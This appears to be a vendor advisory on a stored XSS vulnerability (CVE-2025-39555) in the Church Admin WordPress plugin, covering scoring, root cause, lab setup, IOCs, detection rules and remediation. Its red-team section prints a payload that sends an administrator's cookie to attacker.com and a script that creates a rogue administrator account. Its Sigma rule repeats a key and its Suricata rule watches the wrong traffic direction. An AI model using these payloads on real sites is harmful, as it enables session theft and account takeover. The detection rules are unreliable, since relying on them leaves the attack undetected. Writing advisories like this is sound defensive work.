CVE-2025-39555

Executive Summary

CVE-2025-39555 is a Stored Cross-Site Scripting (XSS) vulnerability in the Church Admin WordPress plugin (by andy_moyle) affecting versions through 5.0.23. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the plugin's administrative interface. When a site administrator or other privileged user views the affected page, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress Plugin Directory. The plugin is not available via NPM, PyPI, Go, or Ruby ecosystems. The risk is amplified by the lack of a known patch and the plugin's active installation base, which may include church administration sites with sensitive member data.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level WordPress user)
• User Interaction: Required (Admin must view the injected page)
• Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the potential for privilege escalation within the WordPress admin panel elevate the risk for targeted attacks against church organizations.

Deep Dive & Mechanics

The vulnerability exists in the church-admin plugin's handling of user input within administrative pages. The plugin fails to sanitize or escape output when rendering user-supplied data (e.g., event names, member details, or custom fields) in the WordPress admin dashboard. An attacker with contributor-level access can inject malicious JavaScript into a field that is later displayed to an administrator.

Attack Flow:

1. Attacker logs in as a contributor (or higher) to the WordPress site.
2. Attacker navigates to a Church Admin feature (e.g., adding a new event or member).
3. Attacker injects a payload like <script>alert('XSS')</script> into an input field.
4. The plugin stores the payload in the WordPress database without sanitization.
5. An administrator views the affected page (e.g., event list or member directory).
6. The payload executes in the administrator's browser, allowing the attacker to perform actions on behalf of the admin (e.g., creating new admin users, exfiltrating data).

Root Cause: The plugin uses echo or print functions to output user data without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses().

Vulnerable vs. Patched Code

Vulnerable Code (Example from plugin file admin/class-church-admin-admin.php):

function display_event_name( $event ) {
    echo '<h3>' . $event->name . '</h3>';
}

Patched Code (Hypothetical fix):

function display_event_name( $event ) {
    echo '<h3>' . esc_html( $event->name ) . '</h3>';
}

The vulnerable code directly outputs the $event->name value without escaping, allowing HTML/JavaScript injection. The patched version uses esc_html() to neutralize the input.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress site with Church Admin plugin <= 5.0.23
• Valid contributor-level credentials (or higher)

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Church Admin > Add New Event.
3. In the "Event Name" field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the event.
5. Wait for an administrator to view the events list.
6. The admin's session cookie is exfiltrated to the attacker's server.

Alternative Payload (Admin account creation):

<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/wp-admin/user-new.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('action=createuser&_wpnonce=<valid_nonce>&user_login=eviladmin&email=evil@example.com&pass1=Password123&role=administrator');
</script>

Blue Team (Defender)

Detection Steps:

1. Monitor WordPress admin logs for unusual user creation or privilege escalation.
2. Review database entries for suspicious HTML/JavaScript in Church Admin tables (e.g., wp_church_admin_events).
3. Use the Sigma rule below to detect XSS payloads in HTTP requests to WordPress admin pages.

Lab Setup:

• Install WordPress 6.x with Church Admin 5.0.23.
• Create a contributor user and an admin user.
• Use Burp Suite or browser developer tools to craft and inject payloads.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to unknown domains from the WordPress server.
  • Suspicious POST requests to /wp-admin/admin-ajax.php or /wp-admin/user-new.php with non-standard parameters.

• Host IOCs:

  • Unexpected JavaScript code in database fields of wp_church_admin_* tables.
  • New administrator-level user accounts created without authorization.
  • Modified .htaccess or wp-config.php files (if attacker escalates).

• File IOCs:

  • Presence of webshells in /wp-content/uploads/ or plugin directories.
  • Modified plugin files (e.g., church-admin/admin/class-church-admin-admin.php).

Detection Engineering

YARA Rule

rule Detect_Church_Admin_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Church Admin plugin database entries"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-39555"
    strings:
        $xss_payload1 = /<script[^>]*>.*<\/script>/si
        $xss_payload2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/si
        $xss_payload3 = /javascript\s*:/si
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Church Admin Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential stored XSS payloads in HTTP requests to WordPress admin pages
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/admin.php'
        cs-uri-query|contains: 'page=church-admin'
        cs-uri-query|contains: 'action=edit'
        sc-status: 200
    keywords:
        - '<script'
        - 'onload='
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in plugin features (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-39555 Church Admin Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=church-admin"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by the vendor.
2. Review and remove any suspicious user accounts or content created via this vulnerability.
3. Implement a Web Application Firewall (WAF) rule to block common XSS payloads in WordPress admin requests.

Long-term Fix:

• Apply input sanitization and output escaping in all plugin templates and admin pages. Use WordPress functions like esc_html(), esc_attr(), and wp_kses().
• Enforce the principle of least privilege: restrict contributor-level users from accessing sensitive admin features.

Workaround:

• Use a security plugin (e.g., Wordfence) to add virtual patching for this vulnerability.
• Manually edit the plugin files to add escaping (see patched code example above).

Valters IT
Securing Digital Frontiers